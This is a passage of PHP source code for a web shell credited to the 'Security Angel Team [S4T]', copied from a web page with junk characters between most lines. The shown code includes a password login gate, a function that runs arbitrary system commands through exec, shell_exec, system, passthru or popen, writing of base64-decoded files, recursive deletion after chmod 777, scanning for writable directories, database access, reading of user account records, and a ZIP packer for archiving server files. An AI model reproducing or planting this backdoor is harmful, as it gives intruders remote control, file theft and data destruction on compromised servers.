        W! {, j& P  R) {  Y
1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
      # w. t% J* D' |! c: Q  h
1282.                 23 => array('disable_functions',$dis_func),
      
1283.         );
      3 Q2 D, \4 j0 {- y8 F& B
1284. 
      
1285.         if($phpvarname) {
      
1286.                 m($phpvarname .' : '.getcfg($phpvarname));
      7 d2 Q7 l- t" b4 ^  E2 n6 ]" I
1287.         }
      ; ]. d4 ?' u5 _
1288. 
      # F5 t0 Z2 L" C9 l: W( y6 k1 s
1289.         formhead(array('title'=>'Server environment'));
      ; @9 A5 p& ^: U+ G9 c# _
1290.         makehide('action','phpenv');
      0 o) D' N+ V6 \
1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
      
1292.         formfooter();
      
1293. 
      2 |0 I0 [- Z( v! L4 @
1294.         $hp = array(0=> 'Server', 1=> 'PHP');
      
1295.         for($a=0;$a<2;$a++) {
      
1296.                 p('<h2>'.$hp[$a].' »</h2>');
      9 y/ ^8 _7 }! D( I8 v
1297.                 p('<ul class="info">');
      
1298.                 if ($a==0) {
      
1299.                         for($i=1;$i<=9;$i++) {
      0 ~/ e, U3 f/ y0 J1 _! O( A
1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      ; v# d- N. D" x' ]/ i
1301.                         }
      ' }9 l* B6 Y3 J6 Z
1302.                 } elseif ($a == 1) {
      
1303.                         for($i=10;$i<=23;$i++) {
      
1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      5 n3 q  E7 X" `) X
1305.                         }
      
1306.                 }
      % R) H8 k* L  H3 Z
1307.                 p('</ul>');
      
1308.         }
      ! I5 Y+ q9 f$ t" d& W
1309. }//end phpenv
        e3 I$ c  D) W3 L6 D5 f, C
1310. 
      
1311. else {
      
1312.         m('Undefined Action');
      4 y/ n& ~" X9 L
1313. }
      ' X3 S8 K) n! W1 d
1314. 
      
1315. ?>
      # \# Q' Q% [) ?( ?1 r
1316. </td></tr></table>
      
1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
      8 o! g, j! ?2 V% b' Y7 Y8 j0 T. v4 p
1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
      ) ]1 _2 _+ `0 i/ j2 J/ X) {
1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
      
1320. </div>
      / m& r% P: Y  |9 q  L
1321. </body>
      
1322. </html>
      
1323. 
      
1324. <?php
      " ?! r# S, s8 M) o4 L
1325. 
      
1326. /*======================================================
      
1327. 函数库
      
1328. ======================================================*/
      3 j. j% G# W: b
1329. 
      
1330. function m($msg) {
      3 D. f4 P7 b0 [" q3 m  l
1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
      5 J. A: B" ~$ f2 {( ^
1332.         echo $msg;
      
1333.         echo '</div>';
      
1334. }
      
1335. function scookie($key, $value, $life = 0, $prefix = 1) {
      6 C/ A. G0 W! ~  G  T1 d
1336.         global $admin, $timestamp, $_SERVER;
      
1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
      6 p) g) G6 b; Q; L) s. J+ o! Z: @
1338.         $life = $life ? $life : $admin['cookielife'];
      
1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
      3 R5 Q! }' _; u6 D, l0 p! E
1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
      ' s' Z2 M1 i; n6 B* b3 W) Q3 y
1341. }       
      
1342. function multi($num, $perpage, $curpage, $tablename) {
      
1343.         $multipage = '';
      0 W5 ]0 W! p7 ^( i9 E0 g3 Q
1344.         if($num > $perpage) {
      ; w: K9 v+ k& c8 I* `1 Y
1345.                 $page = 10;
      
1346.                 $offset = 5;
      3 S+ Q7 `% P9 m, z' ]3 |
1347.                 $pages = @ceil($num / $perpage);
      / a. S5 }2 B5 N
1348.                 if($page > $pages) {
      # ?. M6 b9 I' o; D2 }
1349.                         $from = 1;
      
1350.                         $to = $pages;
      
1351.                 } else {
      
1352.                         $from = $curpage - $offset;
      
1353.                         $to = $curpage + $page - $offset - 1;
      
1354.                         if($from < 1) {
      
1355.                                 $to = $curpage + 1 - $from;
      
1356.                                 $from = 1;
      
1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      
1358.                                         $to = $page;
      
1359.                                 }
      ) B, q4 D9 X& O$ m" L6 n
1360.                         } elseif($to > $pages) {
      
1361.                                 $from = $curpage - $pages + $to;
      5 _* k3 N' M6 K3 P& ~. Z. r' L% y
1362.                                 $to = $pages;
      
1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      9 V& e; A* Q, B6 k3 v
1364.                                         $from = $pages - $page + 1;
      
1365.                                 }
      4 m" `& a  c: F4 ]1 ]5 O
1366.                         }
      . R% {# [' N* p) Y: \
1367.                 }
      
1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
      . u1 W. r, M+ x
1369.                 for($i = $from; $i <= $to; $i++) {
      
1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
      7 D+ y+ g( L- i7 r0 Y# ]' c
1371.                 }
      ) l# |7 y. ~* G2 s3 v/ d4 d
1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
      
1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
      
1374.         }
      1 ]5 k5 _1 m( Z' [
1375.         return $multipage;
      
1376. }
      # B; F% e0 a, b+ d& p( }
1377. // 登陆入口
      
1378. function loginpage() {
      
1379. ?>
      
1380.         <style type="text/css">
      : |4 ^# ?, m5 P( X6 E, d9 I' T  `1 N
1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
      
1382.         </style>
      
1383.         <form method="POST" action="">
      
1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
      5 {* a( m5 w$ i
1385.         <input type="hidden" name="doing" value="login">
      
1386.         <input type="submit" value="Login">
      
1387.         </form>
      4 s  k. Y, ^4 p) ~' T
1388. <?php
      1 f$ S( n0 S. M1 Z* \' `
1389.         exit;
      
1390. }//end loginpage()
      ' h! Y7 V2 m8 q: H3 H" G/ ]
1391. 
      7 O$ W% l$ a* N% ?5 l
1392. function execute($cfe) {
      
1393.         $res = '';
      0 C& y/ ]9 \  w3 O: W( d
1394.         if ($cfe) {
      8 s1 L1 p% p5 c9 S+ I
1395.                 if(function_exists('exec')) {
      
1396.                         @exec($cfe,$res);
      
1397.                         $res = join("\n",$res);
      
1398.                 } elseif(function_exists('shell_exec')) {
      
1399.                         $res = @shell_exec($cfe);
        ~5 P! ~. V* W! [( ~: b% l
1400.                 } elseif(function_exists('system')) {
      6 ~% |6 B$ H) v
1401.                         @ob_start();
      # r- F- U. q# f) a8 u& |; _3 T
1402.                         @system($cfe);
      
1403.                         $res = @ob_get_contents();
      
1404.                         @ob_end_clean();
      6 f1 F# F) S6 v( U6 @2 I
1405.                 } elseif(function_exists('passthru')) {
      
1406.                         @ob_start();
        g1 x, ]/ k3 h( {& [1 C
1407.                         @passthru($cfe);
      
1408.                         $res = @ob_get_contents();
      
1409.                         @ob_end_clean();
      
1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
      # Q  ]( ^% Y; r+ w; e
1411.                         $res = '';
      , l: U: x6 E, ~8 \4 i; q$ h  N
1412.                         while(!@feof($f)) {
      & C; M% X) R* y2 B* b7 ^% v
1413.                                 $res .= @fread($f,1024);
      
1414.                         }
      
1415.                         @pclose($f);
      : d8 {. s4 t5 r9 Q) E* m4 m
1416.                 }
      
1417.         }
      2 ~+ T$ ^6 g! @  o0 h& ?5 J; U
1418.         return $res;
      ( k1 f. V2 W: m  r& A5 n
1419. }
      * Q2 F% A7 }% [- m, L3 y
1420. function which($pr) {
      8 f# F5 W0 `' t, F
1421.         $path = execute("which $pr");
      % B! D* O% {6 c9 D+ M
1422.         return ($path ? $path : $pr);
      * Q& o" |1 |6 K5 B$ u  N( O- @
1423. }
      
1424. 
      
1425. function cf($fname,$text){
      
1426.         if($fp=@fopen($fname,'w')) {
      . t# x5 J1 p3 C7 L3 M5 r
1427.                 @fputs($fp,@base64_decode($text));
      
1428.                 @fclose($fp);
      % f4 \+ k( f) j* n
1429.         }
      ' r+ s( r; R: `( F$ ^4 ?
1430. }
      9 H' S2 U3 r/ }# |: M! l) O
1431. 
      . D+ \4 {5 h1 S6 j! z
1432. // 页面调试信息
      
1433. function debuginfo() {
      ; i) x  `( M: b# I) \- p( P9 L* P4 z
1434.         global $starttime;
      : V) i4 o" z2 }5 t3 x; b: e; D
1435.         $mtime = explode(' ', microtime());
      
1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
      ! m- c& k$ G2 S; s0 J2 J
1437.         echo 'Processed in '.$totaltime.' second(s)';
      
1438. }
      
1439. 
      
1440. //连接数据库
      + S4 T& k2 x" P0 b+ O
1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
      6 Y+ i& y5 z& [: G5 n# |
1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
      8 R2 D" D4 r: g" P- r
1443.                 p('<h2>Can not connect to MySQL server</h2>');
      
1444.                 exit;
      $ [, q& ?7 {7 k8 g/ x: U* V1 e
1445.         }
      0 o% I5 d( W4 {, h" E3 M  Q
1446.         if($link && $dbname) {
      ) x% Z: e9 c) }1 P3 U
1447.                 if (!@mysql_select_db($dbname, $link)) {
      , {+ d/ O; x& G( C* w
1448.                         p('<h2>Database selected has error</h2>');
      
1449.                         exit;
      
1450.                 }
      
1451.         }
      
1452.         if($link && mysql_get_server_info() > '4.1') {
      
1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
      
1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
      6 d  P6 N+ R2 X4 F! L/ l: d
1455.                 }
      4 M3 P+ l9 P. z$ R! x1 B$ }6 n
1456.         }
      ' H* H& X) S2 M4 g% i+ q1 X# @
1457.         return $link;
      
1458. }
      # c- p' W1 j# f7 q  @6 z
1459. 
      
1460. // 去掉转义字符
      
1461. function s_array(&$array) {
      / D6 `' X' U$ F2 e
1462.         if (is_array($array)) {
      $ ^2 q  J9 T6 G; R; q2 a
1463.                 foreach ($array as $k => $v) {
      
1464.                         $array[$k] = s_array($v);
      
1465.                 }
      , O. W& y* ?5 P: k- s" W8 v! }) ]% c$ I
1466.         } else if (is_string($array)) {
      ; c$ F7 A' Y# V. Q$ K4 a" o
1467.                 $array = stripslashes($array);
      
1468.         }
      
1469.         return $array;
      & F& k. ]+ ^5 J5 ]
1470. }
      
1471. 
      
1472. // 清除HTML代码
      9 u4 [& J7 v1 B% K3 _0 r0 ^
1473. function html_clean($content) {
      
1474.         $content = htmlspecialchars($content);
      
1475.         $content = str_replace("\n", "<br />", $content);
      9 w2 m# C3 N: C, ?+ d( a5 Z
1476.         $content = str_replace("  ", "  ", $content);
      ( c% g7 E* w" k5 e
1477.         $content = str_replace("\t", "    ", $content);
      
1478.         return $content;
      8 H* s3 C( V# z
1479. }
      3 U9 ?/ V& D' o2 N- c1 R
1480. 
      
1481. // 获取权限
      
1482. function getChmod($filepath){
      
1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
      
1484. }
      
1485. 
      
1486. function getPerms($filepath) {
      
1487.         $mode = @fileperms($filepath);
      
1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
      
1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
      % M# d7 T, _+ d! Q! `1 z
1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
      4 j4 a, Q0 Z& I0 i$ L* v; e
1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
        N5 f, S- e+ K7 k8 ?
1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
      % ^- ?( K( o* a" l, P% \9 A4 h$ t
1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
      
1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
      # E/ f; C1 I9 Q$ Y' X% j  g
1495.         else {$type = '?';}
      $ C4 H/ \2 F, _  g- @
1496. 
      
1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
      
1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
      
1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
      
1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
      2 Y' [. X. O; `# d
1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
      8 D  l5 n4 \) ^2 O' m( M9 d
1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
      $ n3 A! R4 \, X& T# I
1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
      1 p. F% G9 t0 d' j# g1 d$ z
1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
      ! \5 V2 j! z8 V2 g! O6 q
1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
      
1506. 
      7 r4 T+ m0 }& Y# }: w
1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
      / F3 P+ Q# Z$ e2 t
1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
      ; E6 g9 X7 G1 @5 p0 A2 q
1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
      
1510. 
      ( b; j) i/ b5 P, j: j# m
1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
      1 _5 U$ e& ~0 l% m" |
1512. }
      / w: g, @! x9 Z- f9 n
1513. 
      
1514. function getUser($filepath)        {
      2 c# Q" Z1 a/ ^/ C
1515.         if (function_exists('posix_getpwuid')) {
      
1516.                 $array = @posix_getpwuid(@fileowner($filepath));
      
1517.                 if ($array && is_array($array)) {
      : W% D/ N- ?4 C1 u/ r0 @, W7 x
1518.                         return ' / <a href="#" title="User: '.$array['name'].'
      ! e- i- P; y% Y! r
1519. Passwd: '.$array['passwd'].'
      
1520. Uid: '.$array['uid'].'
      
1521. gid: '.$array['gid'].'
      6 e) Q. |) z3 v
1522. Gecos: '.$array['gecos'].'
      " J/ S( a- r/ g/ ]9 a; i
1523. Dir: '.$array['dir'].'
      # t7 {- S" f8 l! j# J7 l
1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
      % s6 N  J; Y' t, Q
1525.                 }
      
1526.         }
      + T: H" J+ O  Z6 i9 M& D2 p
1527.         return '';
      ' |8 l% e1 n0 Y. S( v; W
1528. }
      3 P8 T- g8 [$ {! K8 D% D
1529. 
      
1530. // 删除目录
      + x9 r* k5 l( e' X2 r
1531. function deltree($deldir) {
      
1532.         $mydir=@dir($deldir);       
      5 k- l5 i. U+ [; v, k6 l! z3 c& a
1533.         while($file=$mydir->read())        {                
      
1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
      ; {9 C/ _/ g" }  X- R
1535.                         @chmod($deldir.'/'.$file,0777);
      1 O, P0 t1 H' O- I2 y
1536.                         deltree($deldir.'/'.$file);
      % J& W" \4 H" W9 f; F. Y# R
1537.                 }
      ' u- |' L% C* ~8 n3 a# ?
1538.                 if (is_file($deldir.'/'.$file)) {
      
1539.                         @chmod($deldir.'/'.$file,0777);
      ( m/ h- r. G3 A/ H, b; _6 y% l
1540.                         @unlink($deldir.'/'.$file);
      8 u; D  i# a7 R5 w0 `% C5 I# ~
1541.                 }
      " a$ t) ~1 F) }# C6 w+ S4 ^
1542.         }
      $ L: D$ L$ y0 D/ J7 K7 O6 V
1543.         $mydir->close();
      ; B% x3 I5 v! Y8 S" e& b0 T+ W0 Z" u* M
1544.         @chmod($deldir,0777);
      
1545.         return @rmdir($deldir) ? 1 : 0;
      7 \* ]7 A# p) a
1546. }
      
1547. 
      0 Y2 P* u& [& A, |
1548. // 表格行间的背景色替换
      
1549. function bg() {
      7 m% d: w1 Z6 T+ j* d
1550.         global $bgc;
      
1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
      
1552. }
      7 _: T, p; s5 ]- r. F
1553. 
      
1554. // 获取当前的文件系统路径
      6 J- K# O" c; B+ M3 z* ?8 t0 @* x
1555. function getPath($scriptpath, $nowpath) {
      
1556.         if ($nowpath == '.') {
      
1557.                 $nowpath = $scriptpath;
      6 y) X4 U4 _8 @& s& s$ G, Q" b
1558.         }
      ! I. P  R; T5 f
1559.         $nowpath = str_replace('\\', '/', $nowpath);
      
1560.         $nowpath = str_replace('//', '/', $nowpath);
      - {3 F% V$ I# C. x
1561.         if (substr($nowpath, -1) != '/') {
      , s3 D! T, k- ^3 V
1562.                 $nowpath = $nowpath.'/';
      / d  x7 s' D$ E! \. j0 U! x
1563.         }
      
1564.         return $nowpath;
      - y5 u* t8 N. k' T
1565. }
      
1566. 
      
1567. // 获取当前目录的上级目录
      9 Z& d9 I, }  D! L5 u  P8 j& j6 O
1568. function getUpPath($nowpath) {
      3 ?! H& w, o, A" k& K
1569.         $pathdb = explode('/', $nowpath);
      
1570.         $num = count($pathdb);
      * l' V: U8 \$ m! ^
1571.         if ($num > 2) {
      7 ]: e1 E( R9 C1 A
1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);
      . a5 C! {, e0 S& A, k( ^
1573.         }
      
1574.         $uppath = implode('/', $pathdb).'/';
      1 I5 u  Y- H4 A1 \* W4 M) j
1575.         $uppath = str_replace('//', '/', $uppath);
      % d1 A/ |; H7 V9 J4 H$ E
1576.         return $uppath;
      
1577. }
      : {6 J4 l) F; \5 _/ l6 [
1578. 
      
1579. // 检查PHP配置参数
      , D0 f$ u8 u, [! b' X
1580. function getcfg($varname) {
      
1581.         $result = get_cfg_var($varname);
      
1582.         if ($result == 0) {
      
1583.                 return 'No';
      . a. e$ t; w5 p7 @9 _) y
1584.         } elseif ($result == 1) {
      
1585.                 return 'Yes';
      
1586.         } else {
      
1587.                 return $result;
      4 v& [" C6 g5 l, v) @* f
1588.         }
      ; ~, V9 k* N- s8 l; [
1589. }
      . \# b& k& i( R1 [7 B0 A
1590. 
      6 o* d, M7 R3 a9 p+ b5 h; E
1591. // 检查函数情况
      
1592. function getfun($funName) {
      
1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
      
1594. }
      6 E& @. Q/ x5 b/ y9 A: ^) r
1595. 
      1 H: @! N$ l# u( f5 |8 X( y$ J% b
1596. function GetList($dir){
      
1597.         global $dirdata,$j,$nowpath;
      : a. U) W8 \. Z" N
1598.         !$j && $j=1;
      
1599.         if ($dh = opendir($dir)) {
      
1600.                 while ($file = readdir($dh)) {
      & m6 o* W) t) g# `; D& L+ w
1601.                         $f=str_replace('//','/',$dir.'/'.$file);
      
1602.                         if($file!='.' && $file!='..' && is_dir($f)){
      
1603.                                 if (is_writable($f)) {
      , x' b/ O9 b  I7 f/ k; {  j
1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
      
1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
      
1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
      
1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
      
1608.                                         $dirdata[$j]['dirlink']=ue($dir);
      
1609.                                         $dirdata[$j]['server_link']=$f;
      
1610.                                         $dirdata[$j]['client_link']=ue($f);
      
1611.                                         $j++;
      / U& l: q" {5 Z0 V- ~
1612.                                 }
      ; o$ I3 h4 {6 g
1613.                                 GetList($f);
      & z, x5 o" k. {& v
1614.                         }
      0 L; J2 W, B; W
1615.                 }
      
1616.                 closedir($dh);
      
1617.                 clearstatcache();
      
1618.                 return $dirdata;
      
1619.         } else {
      3 D; B$ ?; H1 z# q# x/ |7 h
1620.                 return array();
      * ?( o1 y& w  w
1621.         }
      8 K2 q( F! U7 ~. u6 M
1622. }
      8 B' _  d# Q2 l7 {
1623. 
      1 G6 t  Y) ]0 E7 T5 }7 F  }+ d
1624. function qy($sql) {
      
1625.         //echo $sql.'<br>';
      9 r: {' @  v; }, l6 P% |0 j
1626.         $res = $error = '';
      # b* k6 O: N$ b* S
1627.         if(!$res = @mysql_query($sql)) {
      
1628.                 return 0;
      3 M9 _! |  @* s* X; l- J
1629.         } else if(is_resource($res)) {
      
1630.                 return 1;
      
1631.         } else {
      
1632.                 return 2;
      
1633.         }       
        j- e6 U7 q- y
1634.         return 0;
      
1635. }
      
1636. 
      
1637. function q($sql) {
      3 F3 a4 f5 k5 y: o* Y
1638.         return @mysql_query($sql);
      * u/ v: h% a, c$ q% B: \" p0 I
1639. }
      
1640. 
      6 P! q* X% Q. D
1641. function fr($qy){
      
1642.         mysql_free_result($qy);
      ! F/ n$ ?/ Q5 W0 ^, |* k3 [. w7 {3 a
1643. }
      9 @' \2 W+ ~  D7 [" k  @( R9 U
1644. 
      ! R- ]% B5 ?2 `7 ~1 p9 E- F) |% c8 D
1645. function sizecount($size) {
      
1646.         if($size > 1073741824) {
      
1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
      
1648.         } elseif($size > 1048576) {
      
1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
      
1650.         } elseif($size > 1024) {
      
1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
      8 l; ^1 j* i$ \; S2 `
1652.         } else {
      
1653.                 $size = $size . ' B';
      
1654.         }
      
1655.         return $size;
      
1656. }
      ; M; p8 v" A3 C: b: h
1657. 
      
1658. // 压缩打包类
      2 F7 A6 `6 r5 V2 T9 I6 m5 L
1659. class PHPZip{
      
1660.         var $out='';
      
1661.         function PHPZip($dir)        {
      
1662.                 if (@function_exists('gzcompress'))        {
      " Q" Y) i+ Y) h: \6 @, C
1663.                         $curdir = getcwd();
      
1664.                         if (is_array($dir)) $filelist = $dir;
      
1665.                         else{
      4 k0 C( s: W- H
1666.                                 $filelist=$this -> GetFileList($dir);//文件列表
      
1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
      : R8 E0 q4 w0 Z7 w7 f
1668.                         }
      9 p/ Z: {8 }& ]5 W7 h% N
1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
      
1670.                         else chdir($curdir);
      
1671.                         if (count($filelist)>0){
      
1672.                                 foreach($filelist as $filename){
      . B; T' `6 \( F3 m( ?+ l4 j4 y
1673.                                         if (is_file($filename)){
      6 N2 s) `: Z3 F+ U: ]( a, y
1674.                                                 $fd = fopen ($filename, 'r');
      % ?; j# V: x( R( i
1675.                                                 $content = @fread ($fd, filesize($filename));
      6 y) v" `/ w4 b* \2 J
1676.                                                 fclose ($fd);
      0 A$ v. ]! ]# d$ b8 Y+ |
1677.                                                 if (is_array($dir)) $filename = basename($filename);
      
1678.                                                 $this -> addFile($content, $filename);
      1 K. K# n% j# d/ M
1679.                                         }
      
1680.                                 }
      , B% m( H9 \6 ~% N% @+ u4 n
1681.                                 $this->out = $this -> file();
      
1682.                                 chdir($curdir);
      , v5 F9 ~: V5 {; ]
1683.                         }
      
1684.                         return 1;
      / g! n% k) t: l6 Z" \
1685.                 }
      ' s4 `0 O" Q" ], }8 t* g& u
1686.                 else return 0;
      0 d& Y9 P# l7 H' e# V+ o+ o
1687.         }
      
1688. 
      6 H$ z" ^) S7 E, h  \$ v
1689.         // 获得指定目录文件列表
      * d  c, w; D9 `9 `) @
1690.         function GetFileList($dir){
      5 O4 |3 x* l  ?+ @4 G% d* r; S
1691.                 static $a;
      : }1 K6 r6 b" M8 h" L
1692.                 if (is_dir($dir)) {
      ; |8 s2 u3 S& ]3 t3 s  z5 |, z
1693.                         if ($dh = opendir($dir)) {
      
1694.                                 while ($file = readdir($dh)) {
      + _& W; T- u/ _4 J9 Y
1695.                                         if($file!='.' && $file!='..'){
      
1696.                                                 $f=$dir .'/'. $file;
      
1697.                                                 if(is_dir($f)) $this->GetFileList($f);
      : a: z- m: o. N! w0 o4 r8 {
1698.                                                 $a[]=$f;
      
1699.                                         }
      
1700.                                 }
      ; \7 z  j+ g4 g# s
1701.                                 closedir($dh);
      
1702.                         }
      
1703.                 }
      
1704.                 return $a;
      
1705.         }
      
1706. 
      " L/ A& @, a: @# K4 ?3 [
1707.         var $datasec      = array();
      
1708.         var $ctrl_dir     = array();
      
1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
      . P, U- P& v" c9 Z
1710.         var $old_offset   = 0;
      
1711. 
      
1712.         function unix2DosTime($unixtime = 0) {
      
1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
      2 t$ t" M# Q8 p
1714.                 if ($timearray['year'] < 1980) {
      
1715.                         $timearray['year']    = 1980;
      4 Q! Y& D9 c! H- q" r& z7 W/ \' x& a
1716.                         $timearray['mon']     = 1;
      : \% T% m* j3 R1 ^( u
1717.                         $timearray['mday']    = 1;
      2 ]: F# u5 ^0 r1 \. T4 ~
1718.                         $timearray['hours']   = 0;
      
1719.                         $timearray['minutes'] = 0;
      ( N9 f  W0 b: h8 b3 g3 X
1720.                         $timearray['seconds'] = 0;
      9 A5 @6 k+ q. a
1721.                 } // end if
      ; ?2 T% w/ R1 J0 E1 P8 }9 k
1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
      
1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
      ! P  x- {/ R: I+ t( {+ s6 j
1724.         }
      9 Z3 u7 z' z7 {1 }7 M* l: Q3 ?# `
1725.         function addFile($data, $name, $time = 0) {
      
1726.                 $name = str_replace('\\', '/', $name);
      
1727.                 $dtime = dechex($this->unix2DosTime($time));
      8 c. H- k) F3 I7 w  O
1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]
      
1729.                                         . '\x' . $dtime[4] . $dtime[5]
      
1730.                                         . '\x' . $dtime[2] . $dtime[3]
      ; j5 w) c1 L+ Y0 c$ I- `& \1 K
1731.                                         . '\x' . $dtime[0] . $dtime[1];
      
1732.                 eval('$hexdtime = "' . $hexdtime . '";');
      $ S; N5 Z2 q! t' J8 |; C) R  d
1733.                 $fr        = "\x50\x4b\x03\x04";
      
1734.                 $fr        .= "\x14\x00";
      ) p% s- r" r3 L) m+ ]6 N
1735.                 $fr        .= "\x00\x00";
      
1736.                 $fr        .= "\x08\x00";
      
1737.                 $fr        .= $hexdtime;
      $ X% {( K/ a1 x6 {; h
1738.                 $unc_len = strlen($data);
      * O! F# g3 x& }/ f6 g+ V& h
1739.                 $crc = crc32($data);
      
1740.                 $zdata = gzcompress($data);
      & f; {4 W( M2 n, d) _; \0 G: P
1741.                 $c_len = strlen($zdata);
      
1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
      
1743.                 $fr .= pack('V', $crc);
      
1744.                 $fr .= pack('V', $c_len);
      
1745.                 $fr .= pack('V', $unc_len);
      ' G$ d# D$ n2 [* c
1746.                 $fr .= pack('v', strlen($name));
      # z2 l. h2 A8 p3 W* C) |% a% I0 A
1747.                 $fr .= pack('v', 0);
      1 U( R0 }8 }* b( B, ^
1748.                 $fr .= $name;
      
1749.                 $fr .= $zdata;
      
1750.                 $fr .= pack('V', $crc);
      4 r% H$ l: G) D5 Y( Z$ i, u4 y' [9 H
1751.                 $fr .= pack('V', $c_len);
      
1752.                 $fr .= pack('V', $unc_len);
      ; `1 ]  l5 U% a& Z, w
1753.                 $this -> datasec[] = $fr;
      
1754.                 $new_offset = strlen(implode('', $this->datasec));
      
1755.                 $cdrec = "\x50\x4b\x01\x02";
      ' h! z8 t3 k, N( k! {1 b) _) J+ W: p
1756.                 $cdrec .= "\x00\x00";
      4 o& q6 X5 Z8 ?8 i6 h
1757.                 $cdrec .= "\x14\x00";
      
1758.                 $cdrec .= "\x00\x00";
      
1759.                 $cdrec .= "\x08\x00";
      
1760.                 $cdrec .= $hexdtime;
      
1761.                 $cdrec .= pack('V', $crc);
      . k/ b6 G+ q) @: I# z7 j* @. k
1762.                 $cdrec .= pack('V', $c_len);
      
1763.                 $cdrec .= pack('V', $unc_len);
      
1764.                 $cdrec .= pack('v', strlen($name) );
      
1765.                 $cdrec .= pack('v', 0 );
      
1766.                 $cdrec .= pack('v', 0 );
      % m" N0 h0 e. W8 X, p; p& n
1767.                 $cdrec .= pack('v', 0 );
      ! R+ ]+ e$ _' U6 {" v8 P0 j" F
1768.                 $cdrec .= pack('v', 0 );
      * U: O1 T; t  J. @! i
1769.                 $cdrec .= pack('V', 32 );
      
1770.                 $cdrec .= pack('V', $this -> old_offset );
      6 s- d$ M# g7 c6 u* d4 Z  u: f
1771.                 $this -> old_offset = $new_offset;
      , t1 k( c3 I7 A% Z; s& T  K4 F
1772.                 $cdrec .= $name;
      
1773.                 $this -> ctrl_dir[] = $cdrec;
        J/ Z; k4 ]) X$ w$ A
1774.         }
      1 }) E& }+ S: V; K
1775.         function file() {
